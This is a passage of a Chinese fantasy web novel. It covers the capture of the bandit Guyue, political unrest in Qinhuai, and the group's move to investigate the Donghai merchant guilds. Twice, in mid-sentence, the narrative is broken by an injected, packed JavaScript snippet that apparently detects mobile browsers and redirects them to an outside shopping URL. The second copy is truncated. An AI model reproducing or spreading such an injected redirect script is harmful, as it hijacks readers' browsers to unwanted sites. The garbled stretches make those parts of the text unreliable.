口不掩怒道:“乡里受官匪欺压了多少年!如今做了主人,就该把他们囫囵吞了才解恨!惧他们作甚!”说着便朝张武扑杀过去。其余匪徒受他鼓舞,也顾不得页目向等人,纷纷抄起兵器向卫官们捅去。 张武所率卫队虽仅十余人,却都是精挑细选的好手,非寻常卫官可比。而匪徒多是山民凑数,故讨不得半点便宜。唯独口不掩杀红了眼,异常勇猛,独自缠住三四名卫官,这才勉强稳住阵脚。心生狐胆怯不敢上前,一个踉跄往角落扑去。 炎煜朱挥着双拳前去助阵,木弈轩见斯堪曼仍受困于幻术,正欲重施故技打断耳不闻施法,孤月又提枪杀来。页目向忌惮孤月,目光不敢稍离,见他攻来急忙撑开光屏。孤月攻势愈发癫狂,几枪击碎光屏便要刺下。木弈轩吹开一轮叶刃遮蔽其视线,页目向趁隙亮出光指,正中其下怀。 孤月只觉浑身疲软,长枪拄地,稳住身形,眼中已翻出血红一片。他发出一声震天怒吼:“草蜱子们!”只见其头突生两角,背展双翼,身形急速膨胀,实非人形。页目向大惊失色,还未及反应,已被孤月一把扼住脖颈,带着飞向洞顶。 页目向被掐得喘不过气,指尖光芒乱点。孤月硬挺过几指,手劲更重几分。木弈轩急得取出铜铃猛摇,洞中草木应声汇聚成一条巨大藤蛇,她乘着藤蛇升上洞顶,前去搭救页目向。炎煜朱雨要脱身去救,奈何匪徒们似打头风般扑回。张武此时也无心恋战,口不掩趁他分神,一口咬向他的脖颈,被张武施力掰开,出得一片血淋淋。 张武怒骂:“草莽疯子!你们末日该到了!” 口不掩癫笑道:“末日早到过了!如今是极乐神仙日子!是没尽头的!” 斯堪曼试探多次,忽地参透幻术关窍。他缓步走到耳不闻跟前,撩开那遮眼长发,对上那双银泉般的眸子:“果然如此。看见了,便听见了;你动了,我亦动了。”说罢转身欲救页目向。 耳不闻却突然跪地,额头深深抵在地上,哀求道:“求公子手下留情!” 斯堪曼问:“你代表的是懒惰?” 耳不闻闻言将身子伏得更低。 “挺好,”斯堪曼淡淡道,“懒惰算不得什么大罪。” 那头优势转劣势,这边紧局变缓局。斯堪曼飞身上前,趁孤月不备夺下页目向,送至木弈轩处。孤月心中大疑,见耳不闻跪伏在地,骂了句“懦夫”,转身便来擒页、木二人。 斯堪曼又要上前干扰,孤月左右挥枪打散其形体,径直朝藤蛇顶端飞去。斯堪曼只得舍弃形散,凭实体拦在他面前。 页目向颈间一道青痕,猛吸一口气急道:“孤月体术绝非斯堪曼能敌,快施神通助他!” 奈何孤月身形变幻无常,法术拳脚都难近身。页目向急道:“引他出洞去!” 二人当即转向通道疾驰。孤月瞧见他们动作,将长枪往洞口掷去,随即振翅俯冲直追。 “他身随枪动,不可直闯,不如杀他个回马枪!”木弈轩闻言急止藤蛇,页目向骤然转身挥出数道光斩。孤月果真身形瞬移回至枪旁,木弈轩立时催动数轮叶刃齐发。 孤月长枪飞旋悉数打落,瞬时踏上蛇首,右手枪尖抵住木弈轩后脑,左手反扣页目向锁骨,将二人彻底制住。 斯堪曼双眉紧蹙,正要上前相救,孤月厉声喝道:“再近半步,便教他们身首异处!” 斯堪曼只得止步,转而讥讽道:“以人要挟,似乎有损男爵威仪?” 孤月纵声长笑:“什么稀罕爵位?与尔等渣滓谈论这愚蠢的标签人设,岂不可笑至极?” 斯堪曼鄙夷道:“你标榜七罪时,怎不嫌这标签愚蠢?” 炎煜朱怒道:“你占山欺民,官贼相护,这才是天下一等渣滓!” 孤月手上加劲,页目向痛得闷哼一声。“那群蚜虫,只晓得窝里横,仍谁都可做牧养他们的蚂蚁。你们既然寻到此处,便该明白——孤能成事,全仗南陵乡那些贱民!我看尔等衣冠服饰都是贵族形制,命投得如此好,早该惜命识相退去。劝尔等莫再掺和秦淮事宜,若肯罢手,过往恩怨一概不究。否则......”枪尖寒光乍现,休怪孤长枪无眼!” 见无人应答,他转向斯堪曼:“孤知道你会形散,擒不住你。但你虽有守备之能,却无杀伐之力,同样奈何不了孤。南陵乡的事自有南陵乡人了断,尔等何必自持正义惹人笑话?” 口不掩急声劝道:“月大哥你何必同官匪讲理,事到如今听了墨本的,反了就是!我们受了他们多少罪,草蜱子贵族只管吸血哪肯与你讲道理?” 炎煜朱一拳砸在他脸上,怒喝道:“好个倒打一耙!欺压乡民还有理了?你们这些勾结贪官的恶贼,反倒诬陷我们!简直无耻!” 口不掩吐掉嘴里的血,反手打了回去:“南陵人似圈养的肥猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572391|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般任人宰割,为何我们不能做那养猪人!要他们上访府官无人理会,回乡里反遭出卖,被流放深山!谈什么欺压,那都是他们活该!” 众匪被勾起前尘旧恨,怒火更盛,齐声高呼“反了”,便要杀了页、木二人泄愤。孤月把心一横正要下手,洞顶突然传来一声爆炸巨响,紧接着一道铁索飞出,将他从藤蛇上拽下,悬吊在半空。众人顺着铁索向上端望,只见石壁上竟凭空立着两道身影。来者皆披厚重长袍,要害处覆着护甲,唯衣色与胸甲纹样各异。只是离得甚远,看不清具体案式。 其中一人高声宣判:“孤月,青龙国秦淮府南陵城易食乡人士,现陈其罪孽如下。其罪一:联合三十四年间于南陵城中虐杀秦淮府卫官校官共计三百六十五人。此为弑杀罪。” 孤月只当是府衙援兵,嗤笑道:“欲加之罪!你可知这正是孤封爵之功绩?”说罢欲瞬闪拾枪却发现挣不开铁索禁锢。 那人继续宣读:“其罪二:联合三十四年至今非法强占南陵三乡良田十七万亩,强征租赋达十三亿金福珠。此为掠夺罪。” 孤月奋力挣扎,锁链纹丝不动,怒道:“从前保家、卫官占地收租时,怎不见尔等宣判?偏偏就我不能?” “其罪三:联合三十五年至今利用职权,大肆经营娼妓等违禁行业,并与各商行违规贩售禁物。此为经济罪!” 孤月变化身形仍无法脱身,隐约察觉来人身份,心生惧意。宣判声继续响起:“其罪四:联合三十四年至今贿赂秦淮府要员,干涉政务,祸乱地方。此为政治罪!” 口不掩在下方怒喝:“一堆贪官污吏自己就乱了,哪来的政治!”仍叫嚣着让孤月动手。 “罪五:联合三十五年至今煽动民众,组建武装,弄权掌教,此为谋逆罪!数罪并罚,将无限期囚禁于亡川地狱。” 众匪闻得“亡川地狱”四字,惊惶弃械。口不掩屏息瞠目,难以置信地望向宣判者。 “其余从犯交由地方刑部审判。宣毕。”另一人收拢铁索欲离,孤月终于放弃挣扎。 页目向急唤:“判官先生留步!孤月并非主犯,那秦淮户郎庆布才是!” 牵索者置若罔闻径自离去,宣判者驻足转身:“暗部只擒草寇,官吏犯法自有刑部处置。” “可秦淮刑部根本治不了他!” “此非吾等职责,恕难照详。” 见页目向神色黯然,那人语气稍缓:“托公子之福,如今局势已变。回城自有惊喜相候。” 页目向重燃希望,又进言:“我听孤月所言,其中恐有隐情......” “狱中自会明辨。纵有隐情,其罪难消,不可因私废公。”宣判者竟透出几分温情,宽慰道:“公子不必忧心,相较秦淮,亡川或许反是净土。”语毕身形渐隐,消失于上方空洞之中。 斯堪曼望向页目向,唇角微扬:“页长老果然清名远播,连暗部判官都这般礼遇你。” 此刻洞中局势已定。心生狐素来不敢与卫官交锋,耳不闻更是早失战意,众匪纷纷弃械投降,唯剩口不掩仍在负隅顽抗。他发疯般捶打着地面,双拳早已皮开肉绽,滚烫的泪珠混着血水砸落:“谁愿当这恶人!” 耳不闻扑上前将他紧紧抱住,额前散发早已被泪水浸透。 页目向试探着问道:“张卫官,您看......” “暂且收押,待府上重组六部后再行定罪。”张武话音未落,手下卫官已取出镣铐上前。 页目向抬头望了望张武,又低头看那一众,精神萎靡,叹了口气:“我一时不知该说些什么......” 张武苦笑道:“公子仁厚,但依法论处,该当如何便如何。” 木弈轩劝道:“世事轮回难料。先回淮阳吧,那庆布总不该也有这许多苦衷。” “我来迟了,竟已解决了!”炎煜朱闻声浑身一僵。页、木二人只觉这嗓音耳熟,转头望去,竟是严离! 张武不识来人,警觉地问道:“阁下是?” 严离含笑摆手:“不必紧张,我只是来寻弟弟的。” 炎煜朱急忙抢白:“严离哥!再宽限我些时日,向哥家的物件还没找全呢!” “谁说要抓你回去?”严离挑眉,“见你平安便好。我还得回天原复命,没空管你。’ 炎煜朱不信,严离继续道:“主事确实吩咐下来,但我并未答应。”他顿时欢呼雀跃,振臂高呼“万岁!”。 木弈轩见到严离,心中欢喜却只顾抿嘴笑着问好。严离也含笑回应,许久未见,印象里的小姑娘倒是越发出挑了。页目向赶忙上前见礼,严离微微颔首,目光转向斯堪曼时顿了顿:“这位小哥的相貌不似本国人,倒像是东庭或占罗人士,离得很远。” 斯堪曼答道:“少将军赤发也很少见,从天原下来,路途也远。” 严离闻言顿觉失言,连忙致歉,斯堪曼也随即还礼。张武听得是兵部高官,正要行礼,被严离摆手制止。严离自嘲一笑:“只是奇怪人人都认得我......倒怪我太过张扬了。” 页目向关切问道:“严哥哥可知城中近况?” “我刚从城中出来,看那阵仗料他们也掀不起风浪。” 炎煜朱急切道:“可七罪宗如同邪教,蛊惑了不少信众!” “我出城时,宫府尹已取得逮捕令。若真有不聪明的,想来也是少数。”严离说着整了整衣袖,“我随你们一同回城看看便是。” 15. 秦淮篇-演出落幕 却说此前官民中道相逢,宫昌正奇怪为何万人空巷,忽听得人群高呼“打倒贪官污吏”,便笑着对卢围说:“你瞧,逮捕令下达不过一刻钟,庆布便已触了众怒,落得个人人喊打!” “我们一路行来未见几人,他们皆从另一头来,怎会知晓我们张贴的告示?你仔细听,喊的是你名字呢!” 宫昌仔细听,果然如此,顿时怒道:“真有吞天的胆子!竟抢先我们一步!”急命四周卫官列阵拦住游行队伍。民众见卫官阻拦,初时尚有畏惧,忽有人认出宫昌,高声喊道:“宫昌狗官就在眼前。”众人闻言,抢谷子似的,都往前推涌,势要挤开卫官。 卢围埋怨:“都叫你等些时候,如今可是真触了众怒!” 宫昌冷眼扫视:“等严将军到来时,他们就能清醒不成?”卫官们立即后撤数步,将两位官员护在中心,利刃齐出,寒光凛冽。民众见刀剑森然,不敢再向前冲撞,只高声呼喊着严惩贪官。 宫昌厉声喝问:“尔等有何证据,竟敢诬告本官!”人群一昧高声争语,大放情绪,并无人理会他。 卢围递过一只喇叭,耳语:“剧场的好玩意!用这个!” 宫昌举起喇叭怒喝:“你们有何罪证指认宫昌!”声浪如惊涛拍岸,气势似熔岩奔涌,底下的壮汉子都被吓停了气。 人群被问得哑口,交头接耳片刻,终于捶胸顿足鼓起勇气:“你身为府官,党同伐异,蔑视王法,残害同僚,株连无辜,罪该枭首!” 宫昌气得浑身发抖,冷笑道:“所告诸罪无一实证,尔等怎敢聚众滋事,阻挠公务!” 人群中几个清醒者开始冷静思索,却听杂声又起:“我们有众多人证相互印证!” 宫昌怒其愚昧:“他们同出一党,何来互证之说!”当即取出逮捕令逐字宣读。仍有民众不肯信,叫嚷着吏部欺压诸部,私造逮捕令。 宫昌气得太阳穴突突直跳,一把拉过卢围,命他详述庆布罪证。至此民众方醒悟大半,却仍有固执者高喊:“即便户部罪孽深重,你吏部又岂能独善其身!”更有众多戏迷坚信七罪宗绝无可能犯下如此重罪,反倒可怜他们是党争棋子,命运多舛。 宫昌欲说出前事以证,卢围急忙拽住他手臂,以密音告知:“如今已稳住大半民众,你万不必说出府上丑闻笼络其余!若只谈庆布及其党羽之罪,百姓尚觉官府监察严明,民心可安。若说出几部先前丑事,那才是惊涛骇浪,一发不可收拾!” “可如何让其余人等信服?” “即已是小众,只需大众裹挟,官威震慑就是了。” 见宫昌仍有犹豫,卢围恳切道:“你若真为了秦淮百姓,隐瞒才是真诚!” 人群已吵得不可开交。一边说铁证确凿,岂能不信官府,直呼冤枉了好官;另一边说官场诡谲,无风不起浪,谁能独善其身?这方道知人知面不知心,台上光鲜亮丽,底下尽是污浊;那方辩事情尚晓一半,不能妄下论断,仍坚信七罪宗初心不改,万古长青。 众说纷纭间,忽有细心人问:“怎不见芃丝同墨本先生?”众人闻声四顾,莫说那两位,就连商帮名流都隐出大半,于是皆以为他们畏罪潜逃,对宫府尹的话便又信了几分。 卢围得意笑道:“你瞧,我说的可灵验?命卫官们继续张贴告示,围抓其中挑唆者,如今只消待正主落网就是了。” 宫昌神色稍缓,却仍蹙眉长叹:“若最终仍教他逃了,我必不甘心!” 却说页目向等人回到城中,张武等卫官需押送耳不闻一众返回卫城厅,便先行告辞。严离此时记起半战所托,问道:“你们之中,谁是心生狐?” 心生狐畏惧非常,迟迟不敢应答。口不掩鄙夷其怯懦,用肩膀将他顶出队列,冷哼道:“叫你呢,怕什么!” 严离并未动怒,运起一道纯阳真火注入心生狐心脉。口不掩以为要动刑,正要怒斥,严离解释道:“你兄弟半战告知,你所修''心妒''功法损及心脉。今日我废去此功,你好生调养便是。此番祸事起于府官作恶,狱中不会为难你们,望你们诚心悔过。” 口不掩默然不语。心生狐功力尽失,浑身脱力险些跌倒。张武欲上前搀扶,却被他惊恐躲开,最终只得由口不掩将他扶住。 炎煜朱心直口快:“原来你一口一个嫉妒果真是有心病!” 木弈轩忙止住煜朱胡言乱语,心生狐却也不辩解,苦笑说:“我习心妒是自愿,倒是苦了半战跟着学了心怒。” 炎煜朱愤愤不平:“暗部推托不抓官员才是可气,你们也是受了那庆布的害!” 斯堪曼淡淡道:“暗部本就独立六部之外,不过问才好,免得失了最后一片净土。” 严离饶有兴趣地问道:“我很少与暗部打交道,不知其中门道。听小哥此言,似乎颇为了解?”斯堪曼推说只是在书上见过,严离便不再追问。 张武再度告辞,页目向见口不掩仍面有不甘,上前轻声道:“宫府尹性情刚正,虽有些自负,却是个好官。南陵的悲剧,绝不会重演。”口不掩并未理会,扶着心生狐随卫官离去,唯有耳不闻低声道了句谢,默默跟上。 望着他们远去的背影,木弈轩没来由说了句:“他们是两兄弟?真像啊。” 炎煜朱瞥了一眼:“不像吧?” 页目向忧心道:“不知宫府尹那边如何了,那蛛王也是个难缠的角色!”便提议前往政厅查看。但见沿途贴满庆布的通缉令,心知宫昌已掌控局势,这才放下心来。 众人刚至政厅门前,值日侍卫急忙唤住他们,说是卢工长已在玉楼春设下酒宴款待各位。几人闻言,便转道往玉楼春去了。 炎煜朱一听酒楼名号便来了火气,直说不愿再踏足奸商之地。页目向劝道:“卢工长肚里肥油够多了,吃他一顿不算亏心。” 木弈轩疑惑道:“原以为是宫府尹设宴。” 页目向笑道:“他上次在政厅摆宴已是破例,哪能再指望他破费。” 众人步入玉楼春,卢围早已候在门前相迎。炎煜朱讥讽道:“卢伯伯真是家财万贯!这酒楼可是出了名的贵!” 卢围朗声大笑:“能宴请秦淮贵客,这般排场已是怠慢!” 炎煜朱忽想起前事,急忙拉住严离:“严离哥哥带了多少银钱?” 严离从容道:“为图轻便,只带了六七百银福珠。” 炎煜朱顿时泄气:“这可不够赎回向哥的太阳石。” 卢围听闻原委,立即唤来掌柜要求赎回太阳石。掌柜不敢推诿,清点银钱后,虽心有不甘,也只能将太阳石物归原主。 页目向谢道:“有劳工长伯伯垫付缺数,日后定当奉还。” 卢围连连摆手大笑:“不必不必!” 斯堪曼问道:“宫府尹怎么没来?” 卢围笑道:“他性子执拗,只托我代致谢意,还请诸位见谅!” 斯堪曼追问:“庆布与芃丝可曾落网?” “通缉令已传遍全府,定能擒获!” 严离见他颇有主人翁意识,好奇道:“不知小哥是如何与我这几位弟弟妹妹相识的?” 炎煜朱抢着答道是页长老安排,却被斯堪曼当即否认。严离以为他刻意保留,笑说:“长老他挟煜朱安排我到,因南洋之事引判官们来,又托你一路相护,果真周全。” 斯堪曼略显不悦:“我并无隐瞒之意,确实只是偶然相遇。”众人见状也不反驳,由着他去。斯堪曼心中郁闷却懒得争辩,自顾自大快朵颐起来。 页目向正色道:“卢工长,按理说户部掌管工商,应当调控物价。这玉楼春的菜价如此高昂,实在不合常理。” 卢围笑道:“售价高低全凭买家愿意出价!玉湖一带地价金贵,周边物价自然水涨船高,合情合理。” 木弈轩闻言追问:“既然地段优越,客流量大,薄利多销也能回本,何必定此天价?” “小姐此话就是不知道其中行情了,单价要是降下来,便是日日满席、流水三翻也仅得个收支相抵罢了。” 彼时几人临窗而坐,窗外夜色初凝,今日新得一弯月牙,钩下满池星辰入水,天色尽黑,看不出水色,凭风淹出一串渔沫,方知晓是鱼满池仓。不必说街上如何,单隔壁桌就在议论七罪宗,再听卢围说起先前城中之事,想来闹得沸沸扬扬,必定作为饭后谈资久闻于城中。 众人出了玉楼春,严离见着满天星辰心生澎湃,喜道:“我假期休满也该回天原去了。还麻烦目向、弈轩以及斯堪曼兄弟费心,帮忙照看煜朱。若这边事情办妥,尽快回舍源为佳。就此别过,舍源再见!” 卢围堆笑说:“严离将军一路顺风!” 炎煜朱辩驳:“他们还常被我照顾,哪有麻烦他们?” 众人听了皆笑。严离转身正要离去,木弈轩又叫住他,严离问是何事,木弈轩羞答答地说:“路上平安!严哥哥再见!”严离微笑点头,入了月色中去。 页目向向来知晓木弈轩的心思,斯堪曼自然也看出,二人皆笑不点破。唯独炎煜朱于情事迟钝,还问说怎么作别两次。卢围见几人玩闹,也上前告辞:“公子小姐们若无他事,下官便回去了。”众人也不留他,就此别过。 炎煜朱试探着问:“向哥,我们几时回舍源去?” 页目向捏着他的脸笑道:“就知道你不愿回去!放心吧,七罪宗的事虽已了,但失物仍未寻回,只是前番丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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却说严离行去潇洒,只是主事不好当家。她细算着严离已出发三日,不仅音讯全无,更未见将煜朱带回,真可谓愁心似水,月满清江。眼看时日愈久愈不安稳,主事琢磨着再派人去接应,便找来教官商议人选。她不禁埋怨道:“离小子如今入了朝堂,竟全然不顾家中急事!” 教官却也没个主意:“收粮后刚录过新兵,家中年满十六者皆已入伍。若再选年岁更小的,只怕反要让他们涉险……” 主事急道:“那便从年满十五的中挑两三个,结伴前去!” 教官深知主事说一不二的脾气,试探着问:“岩嶙、澜沧二人如何?” “确是两个好孩子,只是太过老实了些。”主事面色凝重,沉吟片刻,终是摆手道:“罢了,眼下也寻不出更好人选。你去将他兄弟二人唤来,我要当面好好嘱咐。” 话说北境有座小城名叫桑杨沙,终年清寒。城中尽是灰蓝的石楼,积雪的街道映出浅紫色的光。北境人生得高大,肤色冷白,恰似这方水土的天气。因而那位面色红润、带着南国风韵的异乡人便格外显眼。 他在此客居日久,城中居民多已识得他,怜他漂泊不易,常赠些衣食。这日,长冬的酣眠中,他忽感心悸,猛然惊醒。他整理好行装,背起那柄名为“临灵”的长镰,推门而出。 房东伊娃太太正烧着锅炉烘烤衣物,见他下楼,笑问要去何处。他怔了片刻,几乎要转身回房,却终于立定思索,走到老妇人身边:“伊娃太太,我要出趟远门。这些年,多谢您照拂了。” 伊娃太太只当他要去远足,劝道:“若要去大堡,明早动身也不迟。外头正起大风,你快回屋罢。” 他踌躇片刻,低声道:“不是去大堡……是要回故土一趟。” 伊娃太太未听清具体去处,仍挽留:“那就明早再上路也不迟啊。” 他沉吟少许,取出一袋金福珠塞进老人手中:“这房间,还请您为我留着。” 伊娃太太这才恍然:“这……是要去很远的地方?几时回来?” 他不知如何作答,只道必定归来,转身推门而出。伊娃太太忙挎着篮子追出来:“我给你缝了好几身衣裳,路上天寒,都带上罢。”他赶忙接过,劝老人快回屋去。老妇人却执意立在门前,目送他的身影渐行渐远。 他将衣物连竹篮收进乾坤袋,纵身一跃,化作一缕寒雾向南飞去。他十分熟悉前途地貌——见燕山便折向西,望丹京复转向南,不过两昼夜,已入秦淮地界。仿佛冥冥中有灵引路,他在月牙山顶凝回身形,按下云头,径直步入落英洞中。 洞中早已空寂无人,只余先前打斗的痕迹。他细细察看,推想当时情景,忽见地上有一截断剑。俯身拾起剑柄的刹那,玉质剑身竟应势重生,岁寒剑瞬间恢复原貌。 他轻抚剑身,喜道:“果真是你!”随即拾起散落玉碎抛向空中——前尘往事尽数浮现。又在洞中搜寻一番,未见剑鞘踪迹,便转身往淮阳城方向去了。 16. 东海篇-五光商会 木弈轩忽而想起一事,问道:“张武不是审了那小贼,怎么还没得消息?” 页目向正愁线索断了,听罢就要过去。 木弈轩劝道:“夜深叨扰不便,不如明天去?如今见了严哥哥,晓得他意思,也不消防着兵部了。” 炎煜朱笑说:“正要正正当当、大大方方地进去!” 回到客栈,掌柜瞧见几人归来,抬眼笑夸辛苦。几人折腾一日,周身困乏,匆匆睡下。不想没几个钟头,便被一阵叩门声惊醒。斯堪曼闭眼装睡,炎煜朱扯过枕头捂住耳朵,终究是页目向无奈起身开门,来人原是卫官张武。 张武扫过屋内情况,拱手道:“打扰公子休息了。先前因公事耽搁,昨夜才得空审问那小贼。据他供述,是从集市游动摊贩处购得绿翠甲,自己并不曾去往舍源镇中。” 页目向略有些愣神:“那他可有交代是哪处集市,哪家商贩?” “这便难办了,这等游商一无固定铺面、二无执照文书买卖都是当场钱货两清,过后便再寻不着踪影。” 页目向顿觉浑身乏力,兴致全无,正要婉言辞谢张卫官,好再歇息片刻。张武却话音一转:“不过……倒也并非全无线索。” 页目向不免平添了些火气,径自往桌前一坐,仍按捺着性子示意他讲下去。 张武低声道:“商贩应当是东海人士,公子或许可往东海一探究竟。” 页目向觉着好笑:“如何断定?” “庆布历来以不宜扰民为由,默许无牌经营,只是需要挂靠大商帮,免得失了体统无人担责。”张武解释道,“商帮中有五派最为兴盛,并号‘五光’。五帮商客皆披袍戴帽遮掩面目,唯独袖口纹了各家标志,倒不刻意避讳我等。”见屋里几人或转过面对或起身侧耳,显是生了几分兴致,他这才迈进屋掩上门,故意沉声道:“五光绣纹精致独特,分别是松间鹤、幕上樱、芒尖月、梧桐凤凰和柳下小野。旁人不敢随便仿制,故而好认。” 斯堪曼忽然开口,语带嘲弄:“莫非那贼人恰好注意到对方袖口花纹,正是这五光中地处东海的哪一派?” 张武微愣,连忙摆手:“五光皆在东海国中。” 页目向点头道:“从前就有听说东海以商治国,此事倒不意外。却不知那小贼看见的是哪道光?” 张武笑说:“公子形容倒是有些风趣,说的是‘柳下小野’——柳帮的纹样。” 页目向追问:“若是要去东海,如何最快捷?” “玉湖港有水路班次可直达,顺流而下,不过两三日水程。”张武略作迟疑,“只是......毕竟境外之地,需户部签发过关文书方能放行。” 页目向再问:“如今府上官中生变,这文书要等到何时?” 张武道:“这个实在说不准,些许几日又或许明日即可。” 页目向心中尚有疑虑,只是如今头晕脑胀思考不能,又怕耽误张武时间,便送他下楼。等回身问斯堪曼:“你说东边的贼会千里迢迢来西边偷了东西,在道中就随意处置吗?”斯堪曼笑他自生纠结,翻身面壁又睡去。页目向也不恼他,独自坐在桌前沉思。 等到了午后,木弈轩敲门进来,见页目向神叨叨地默念,因问道:“可还为七罪宗的事想什么呢?” 页目向转述了先前张武的话。听得屋中吵闹,炎煜朱才撑起身子,挠着后背打着哈欠道:“是要去东海了吗?” 页目向听着生烦,故意对木弈轩说道:“即便绿翠甲是由那五光售出,如今也落在了秦淮。其余两件兴许也已售出,不如先在秦淮仔细查找一番,东海暂不忙去?” 斯堪曼嫌弃道:“如今秦淮六部各职皆遭清算,那几个商帮凡在秦淮的业务名目,若有私弊,自然也在清算之列。你去询问宫昌一二,便知那两件下落,何必如此扭捏。” 页目向一听,正觉有理,喜道:“你好聪明!”斯堪曼却不理他的好话,侧身背过,闭目养神去了。 却说宫昌实在繁忙,并未亲自接见几人,只遣一名下属官员带他们前往商帮办事处查访。那陪同的官员是淮阳户部商务司一名学吏,姓林名晖,见了众人便低声道:“公子、小姐万安。此次前往,万不可声张引人注目。虽说庆布已倒,但五光并未祸及其灾,即便查访,也只可装作例行公事模样。” 炎煜朱皱眉道:“听你这说法,好个倒反天罡!难道还真有三分惧怕这五光不成?” 林晖忙答道:“这位公子有所不知。五光势大,非秦淮小府所能规管。再者秦淮商贸往来常仰仗其助力,官府用度也多靠其接济。庆布得势时也尚居其右,何况我这等小吏。尤其公子需得小心,还得提防他们拼个鱼死网破。” 几人听了不答,似为应允。 却说这柳帮办事处在那高楼大厦之间,具体是一块洼地,名唤清白坊。此地原是几条巷陌交汇处的一块空地,前些年被人砌起围墙圈住,如今要进去,须得从周边屋舍穿行。再说这柳帮财力雄厚,周边三百民宅皆归其所有,倒似圈出一方小国,若要藏污纳垢,实在容易。 林晖引着几人走进一间门面,内里是一条逼仄的通廊,一边列着书架,一边设着柜台,看似书肆模样。廊道尽头却另有一门。柜台后坐着个干瘦老头,面色阴冷,直勾勾盯着来人。林晖取出官碟上前交谈数句,那老头抬手一指里门,示意放行。 炎煜朱很是不喜这狭长通道,快步出了门去,待看清周遭光景,却又退至木奕轩身旁耳语道:“我还以为有多厉害,倒不如舍源镇三会集节热闹!” 木奕轩与页目向先后走出,见了眼前景象,心中倒也颇为赞同煜朱所说。许是刚经历一番动荡,此刻场中实在谈不上热闹:不足百平的天井里只零散停着十几口箱子,站着的人尚且不及此数,可谓一冷清。 页目向小声问林晖:“我听说他们是黑市背后的掌舵,只道虽是个分支,也该是处纸醉金迷的场合。莫不是我听错了?难道五光并非豪商蔑法之流,竟是全然合规的?” 林晖笑说:“公子形容果真风趣,此处虽不十分夸张,但实在是私下贸易往来良处。您瞧中间那些木箱,此箱名‘木秤杆’,有称心如意之功效!” 炎煜朱听了问道:“什么称心?” 林晖饶有兴致地解释:“这木秤杆有两奇。此箱形制唤作‘闷仓’,是旧时大逃灾传下来的做法——当年富人为避灾祸,将家财尽数存入闷仓,却是只能存进,不能取出。” 炎煜朱接话道:“不过箱子结实罢了,开箱想必麻烦得很。” 林晖拍手扬眉道:“正要说这另一奇!南洋上有类高乔唤作''称心木'',虽是草植却颇有灵性,一能认主,二能认物。你取它做匣制箱时,需取耳垂血一滴染上,这便算认了主。往后存放物件,它只收一件——再多便会自行吐出,南洋人管这叫''一心一意''。而这木秤杆,正是由这称心木所造。” 他神色一振,又道:“既认了血缘,便与主人心意相通。除非用更贵重之物替换,否则箱中原物绝不出仓——正因如此,任凭刀劈斧凿,皆难开启!” 木奕轩觉着古怪:“若真如此,岂非只有庄家称心?长此以往,如何周转得下去?” 林晖两眼放光,凑近喜道:“小姐有所不知!眼前这些秤杆,起初都存着一千金福珠,是柳帮当家当着众人面放进去的。这些秤杆运作多年,里面现存的货物只贵不贱。往常使钱币买卖,既要贴补差价,又难寻奇珍异宝;如今以物易物,各取所需——这如何不称心?” 炎煜朱问道:“可总有换来的宝贝装在这箱子里,他既取不得,心里也不惦记?” 木奕轩接话:“上学时听老师讲,东海人从商为最。但凡有价之物,必结有种种契约,又凭这些契 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“我这可答不上了。今时不同往日,此事户部一点消息没有。您也……”说罢林晖偷瞥了眼里屋,又抬头望了望天上。 常嫂嫂懵了片刻,破口骂道:“好小子你也不看看这是……!” 林晖连忙比了个噤声手势,用唇语道:“保证和嫂嫂无牵连。” 常嫂嫂仍气不过,往林晖大腿根上使劲一掐:“强龙尚且不压地头蛇呢,你们可别着急吃呀!” 页目向觉察到那二人关系不简单,眼下又不知在嘀咕什么,实在可疑。但瞧着眼前堆积如山的账册,也不知从何翻阅,心中便犯了难。 炎煜朱看得烦躁:“林晖真不够意思,龙门阵摆得热闹,我们哪懂这个!” 木奕轩毕竟有些才学,翻看几页已然明了:“到底是大商帮!这账目倒是规范得很。所有账册都按门类、日期排列,最近十天的买卖记录都在最上层架子上,得劳烦斯堪曼帮忙取下来。” 提到他名字,三人才反应过来,忙四处张望,这才发现斯堪曼不见了。 页目向恼道:“他怎么这般闲不住!又跑哪儿去了?” 炎煜朱心想正好,喜道:“这屋子阴湿又不见光,曼哥该是受不了去外边院子里了,我出去找他!” “你等下,先过完这几页账再去。” 页目向拉住他,“斯堪曼天目神通远胜府上众人,即便随性行事也不至出事,眼下查账要紧。” 木弈轩抬手抽出两本账册,叹道:“不愧是大商帮,光一日往来单据便有三四册,这般翻找肯定没结果。” 炎煜朱接过一本:“你可是行家,我们就更是没辙了。” 页目向半开玩笑道:“莫不如让斯堪曼夜里再来偷一回?” 木弈轩合上账册应道:“眼下还真得如此最为妥当。” 几人商议定便往外走。林晖陪笑迎上前:“事情好了?那就不耽误嫂嫂了。”常嫂嫂仍斜睨着众人,轻哼一声,转身往内室去了。 “公子小姐们可有结果?”见几人摇头,林晖忙道:“那实在可惜,或许等宫大人得空再......” 话音未落,忽听小广场上喧闹起来,涌进许多着青灰长袍的怪人。页目向眼尖,瞥见他们袖口的纹样——正是柳下举伞的男子图样,心道:原来这便是“柳下小野”,果然特别。 “你们查完了?”斯堪曼轻巧地从屋檐跃下。 页目向摇头:"你方才去哪了?" “我将这几百间瓦舍小楼都探了一遍。”斯堪曼道,“一无主家,二无客商,三无存货,真不知靠什么撑起这‘一光’的名头?” 林晖这才注意到斯堪曼已往返一遭,笑道:“公子莫怪,正是空房子才好用。眼下木秤杆要开匣了,诸位请随我去瞧个热闹。” 几人自然都想见识木秤杆的神奇,便随着林晖走向围观的人群。 17. 东海篇-木秤杆 那些木秤杆做圆心,青灰袍商人们整齐划一地围成了十几个圈。林晖笑喊着到前面来,随即卖力挤进其中一个圈,便没了人影。 